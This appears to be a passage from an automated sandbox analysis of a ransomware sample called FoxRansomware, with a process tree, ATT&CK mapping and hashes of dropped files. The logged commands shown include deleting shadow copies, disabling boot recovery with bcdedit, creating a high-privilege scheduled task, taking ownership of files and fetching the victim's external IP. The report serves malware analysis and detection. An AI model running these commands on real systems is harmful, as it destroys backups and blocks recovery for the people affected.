PID 4804 wrote to memory of 4536 4804 cmd.exe 104 PID 4804 wrote to memory of 4536 4804 cmd.exe 104 PID 4804 wrote to memory of 4536 4804 cmd.exe 104 PID 5688 wrote to memory of 4780 5688 cmd.exe 106 PID 5688 wrote to memory of 4780 5688 cmd.exe 106 PID 5688 wrote to memory of 4780 5688 cmd.exe 106 PID 888 wrote to memory of 4500 888 cmd.exe 109 PID 888 wrote to memory of 4500 888 cmd.exe 109 PID 888 wrote to memory of 4500 888 cmd.exe 109 PID 4536 wrote to memory of 2880 4536 wscript.exe 110 PID 4536 wrote to memory of 2880 4536 wscript.exe 110 PID 4536 wrote to memory of 2880 4536 wscript.exe 110 PID 2880 wrote to memory of 7008 2880 cmd.exe 113 PID 2880 wrote to memory of 7008 2880 cmd.exe 113 PID 2880 wrote to memory of 7008 2880 cmd.exe 113 PID 888 wrote to memory of 9772 888 cmd.exe 114 PID 888 wrote to memory of 9772 888 cmd.exe 114 PID 888 wrote to memory of 9772 888 cmd.exe 114 PID 4536 wrote to memory of 3980 4536 wscript.exe 116 PID 4536 wrote to memory of 3980 4536 wscript.exe 116 PID 4536 wrote to memory of 3980 4536 wscript.exe 116 PID 888 wrote to memory of 10140 888 cmd.exe 118 PID 888 wrote to memory of 10140 888 cmd.exe 118 PID 888 wrote to memory of 10140 888 cmd.exe 118 PID 3980 wrote to memory of 8180 3980 cmd.exe 119 PID 3980 wrote to memory of 8180 3980 cmd.exe 119 PID 3980 wrote to memory of 8180 3980 cmd.exe 119 PID 888 wrote to memory of 9676 888 cmd.exe 121 PID 888 wrote to memory of 9676 888 cmd.exe 121 PID 888 wrote to memory of 9676 888 cmd.exe 121 PID 9676 wrote to memory of 8860 9676 cmd.exe 122 PID 9676 wrote to memory of 8860 9676 cmd.exe 122 PID 9676 wrote to memory of 8860 9676 cmd.exe 122 PID 8860 wrote to memory of 6812 8860 HPTbJaR9.exe 124 PID 8860 wrote to memory of 6812 8860 HPTbJaR9.exe 124 PID 9728 wrote to memory of 9372 9728 cmd.exe 125 PID 9728 wrote to memory of 9372 9728 cmd.exe 125 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 4500 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"1⤵
- Matrix Ransomware
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe"2⤵PID:4900
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe" -n2⤵
- Executes dropped EXE
PID:3528
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\sh0xZKMv.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1260 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5264
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\g4TNSf12.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\g4TNSf12.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\Om77BD4u.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\Om77BD4u.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:7008
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
PID:3980 -
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:8180
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\MyZplpC7.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:5688 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\MyZplpC7.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:4448
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:2852
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:4780
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Bz1SrKdj.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
PID:888 -
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
- Views/modifies file attributes
PID:4500
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C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵PID:9772
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C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:10140
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c HPTbJaR9.exe -accepteula "store.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
PID:9676 -
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\HPTbJaR9.exeHPTbJaR9.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:8860 -
C:\Users\Admin\AppData\Local\Temp\HPTbJaR964.exeHPTbJaR9.exe -accepteula "store.db" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:6812
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C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\Om77BD4u.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:9728 -
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet2⤵
- Interacts with shadow copies
PID:9372
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C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE2⤵
- Suspicious use of AdjustPrivilegeToken
PID:9712
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
PID:10064
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:332
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F2⤵PID:4812
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:7596
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\$Recycle.Bin\S-1-5-21-1168293393-3419776239-306423207-1000\desktop.ini
- Size 1KB
- SHA256 87beafdf07492dcc59f4f4aa421eab4bb3063eb0adbf19cbea4ed4d8933e3c48
- MD5 186cd829b204d8868af918e50b117f94
- SHA1 9f1f0f68dc3e27b296cc4bd6132b352bfc044212
- SHA512 d4f57f959278a5bb237f27b6bcb6a3d9dbb2740f987598b325dcf0adb1d4578cb13956f1fe40ac3269343ca6259a8c8c17e3e20e767b6580e989ebb8603ee7db
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\#FOX_README#.rtf
- Size 8KB
- SHA256 6e638c0558196d58fc35916771df9a48b90ac5c1e853297eac0fd0aa907f5b23
- MD5 966d6932b42e60689add6145730b6709
- SHA1 603d241341407bd1433e3d9b40ab29810741abed
- SHA512 fecc86b7b95f7ae5a1a5b5b50d6c11692cccfd06f0daa54b3b76728bed863c06cb3a26287d60cc00cda9f63b84540c2da1fea8e772ff5dba6e14001ce0871a3b
- SSDEEP 192:TUVDkh6ojUjcNYPtZnv0SkDSliQZYfXh+y:OOkSWlLWEy
- MD5 SHA1 SHA512 SSDEEP
[[email protected] ].Yctmwr7w-bTJKEwwh.FOX
- Path C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\[[email protected] ].Yctmwr7w-bTJKEwwh.FOX
- Size 3.3MB
- SHA256 a4cee0be94c8909c6b1e4ba0995dffa5e1bd0fa2961ee5a132a399be6d1c8eac
- MD5 8e3e456103e2e767a1f68ec10abc0bfa
- SHA1 b6392c4df15c7a762194db3623b157a0a2955680
- SHA512 364f3ed6cdfa14f7e9c5d6c9368296a079baa68a11215e2a42e9402c0fd1050c9925b5e1b08da60794ec8803235b1b7a7de21a4542dc12608c6cc6bd756558a0
- SSDEEP 24576:hnCRXUCaAdSe4vzz1Y5Zh9Y6AOwaWVNWWHHzRu1k/L9cJbUF/Tx7mWqn3gVtiBwM:pHAPjN3NIbe
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 4d15fdabe22c51702eaaa81f3e9b5e74b98989d4583793b3ce2ce8468f1c0129
- MD5 247d60e55bf6ccd9fae3f9d651e90fb8
- SHA1 f68826b6808d9196cf4b55f7cca21c13b7a314a5
- SHA512 01197851ae41b95aa7a7141a5f25645e9d80a63dd80f6bf2cd013d6581cc18b09a9021067e80f565f7b4ddde169cd3e6920a3f307f441aa99ddd7f08d77630d0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\Bz1SrKdj.bat
- Size 246B
- SHA256 c3ab7e30eced8d401d7d3fa53a067a236db55104cd8762eb022102182c9b1efd
- MD5 b39093af8eb7ab759681845335cfa8cd
- SHA1 d73a41334ecbe9b77f9306a7aa74b55114165d39
- SHA512 15866ebae2e679f08ca2f42410f342b02fc069f1c3c71fecd8db8e21f0ca1357e71f5ffd41c8f9f1a3143278d56a3f1f340489d74c10f6685517298b678fda2d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\HPTbJaR9.exe
- Size 181KB
- SHA256 0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
- MD5 2f5b509929165fc13ceab9393c3b911d
- SHA1 b016316132a6a277c5d8a4d7f3d6e2c769984052
- SHA512 c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
- SSDEEP 3072:hnQr0ryqPlGGyPAPNIfG+QWx5sOjw9i8yxulNpsl/DXHcd6Gu9XQBYWW7tpT6azN:hnf71rClQWjNw9i+psR3g6G4SLILT6aR
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe
- Size 458KB
- SHA256 638e3eb5af9c58d5947310a091ced46c394a045dd65f2ff2ec1e824373f8a807
- MD5 8279e69720eebd279cccc548bbdd9fcb
- SHA1 d29876b154d4a4e64fe55b35adeec0104d812d6f
- SHA512 582f60b2a86268dcaec144ec2e1a82dfb4e7522347f84e98d7f83db232f932a55296454e137478e4034a91d819cfeb93441ae763033941dd3e9e44c15a504e93
- SSDEEP 6144:qLF6UTjjdAXAw8YwL6/aCXnmEcw3GveAiL9TXJIT:qp/jd4A+27pj
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe
- Size 310KB
- SHA256 704e95c3ae90e7092dd1d4fe08c2d11e251ac0fd5ea3f977e565624a218f3036
- MD5 4a4d45c93382879f05b9637867b948a0
- SHA1 2d8f595dce6f93b2496aa1b46433d35417023fb5
- SHA512 7e436205a62b7ee8f24d180d789dec69d89c42c8af584dbbc442f301b2981529db1f938f001d87c9aac35e1edd7063d7ab847bbdeec951e31f9c63a74e216541
- SSDEEP 3072:9kPjPt6UuZsOHFDqkUjKy/loYenXNSNoqFBi/0YM9FiKQY/8F/GgJt22FOONaudk:qLF6UTjjdAXAw8YwL6/aCXnm
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWqByALz.exe
- Size 315KB
- SHA256 b39bc2fe1dc40134351cb18ef960609de6d12ebd51838f5dc647ea0afc0585b1
- MD5 ca0954a3c18f1825161c489d7d48bc84
- SHA1 a7cd1263f16704dab5e38b345661bbfc94941946
- SHA512 d92033508703359145219168aa577cffb471c3c86059ec45355535132a925b54f647f7db2bda92e59c71b55aca4a595aca425f776d8b44edfc381ebb86a2d51a
- SSDEEP 3072:9kPjPt6UuZsOHFDqkUjKy/loYenXNSNoqFBi/0YM9FiKQY/8F/GgJt22FOONaudU:qLF6UTjjdAXAw8YwL6/aCXne
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\bad_45AA0F52559CEC4B.txt
- Size 130B
- SHA256 fc328ffa99e6cb795ad0b6d4a490e7bb0e5414529a54fc651c4199639a631a01
- MD5 182d078bcbbb6115630dfe0f9d8efb36
- SHA1 591a2c4c9d0c648b963fd5bb893786bba94d79db
- SHA512 5812c04eb8638fa34032ae9fd61bf2ede270f6a6543db3ba32185ac5cfd2032c32f03405d8055b2fa50fa968d0961a388decaf0de42c540bb7a418d228c03348
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_45AA0F52559CEC4B.txt
- Size 72KB
- SHA256 125a826d4d29235d89f5c8d6e9cfaa63f4e0325184264f1bfb58761dd643f11c
- MD5 99ee0ba90cd1893b6e180e44c61220c8
- SHA1 2aac1f7e9e69da96d875bfdd113c56fa4b04be21
- SHA512 232eaf5f2d04b376bcac26bd5ce0320de1b6eb6ddae9f7e737ece309367398d281acee4e9cca6f22aa3b916c4efa805eef8934cdbe3b393d1073c74326e100dc
- SSDEEP 768:hpEkjwWZT3GipKsuXJ110pd/lQrrFze37cJuJOIGhOtHwJMdos3x3vjzpzFW1x/Q:hzfnsohoPH3Ty8dWStgUJIKYyoJ
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\FoxRansomware\sh0xZKMv.txt
- Size 14B
- SHA256 82ad297f8577dd8f868d0068e253c3d6b61a1e332d7038ed18d23da65b03ad6c
- MD5 c74dacdd9331a6698efffe81ff66ac08
- SHA1 79e8ce4bb5cc2436e95fad4a74a31aee7aa63043
- SHA512 24620715fb4e07f73db38962b2f95b77396d09a65f153c138f4d873e7f83f9cc72a16423ce2af745f8a04d1e657dfa7d9136ec3fd9ff5794b385ec33edae89da
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\HPTbJaR964.exe
- Size 221KB
- SHA256 7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
- MD5 3026bc2448763d5a9862d864b97288ff
- SHA1 7d93a18713ece2e7b93e453739ffd7ad0c646e9e
- SHA512 d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
- SSDEEP 6144:8MmTGW8nEorxuTspf4xCzkNd96JHk1KSx:ZqGr11ZaNKSx
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kuwp0web.1va.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Om77BD4u.bat
- Size 265B
- SHA256 c23375e785b176b1768e432f1b29e2a27ed8f9a9e5e6ea71718a1c35da126cf9
- MD5 e099b8fb2d21606b8fc60af73cc391fd
- SHA1 c45ae120c7887c343679ab5d7123ff36dd7cc78a
- SHA512 c20378e08310ec94170762a8936b9c4c114915ced5c9a7f4539bf96a7f722efc794806ba8391d94476d8d93a5cfd99ce230a32da2d688bc3f33e0c2d3d9341d7
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\g4TNSf12.vbs
- Size 260B
- SHA256 b3e6707500af0109ed612397af8a91553390e1b518245e06a06fa9d5bb8c6e1d
- MD5 2582c06d193f91b16790c8c2ffb4ed48
- SHA1 53299033231369bcd59b6c16ebf0367986893890
- SHA512 1a7dbf115f683410017d9628ab31c9dc23cb643553f3fbf5817ef08e5d9e3b05de509e10d4472fb4b47bf2030cad27833d8ca6bce11c29a052d4f5190559b819
- MD5 SHA1 SHA512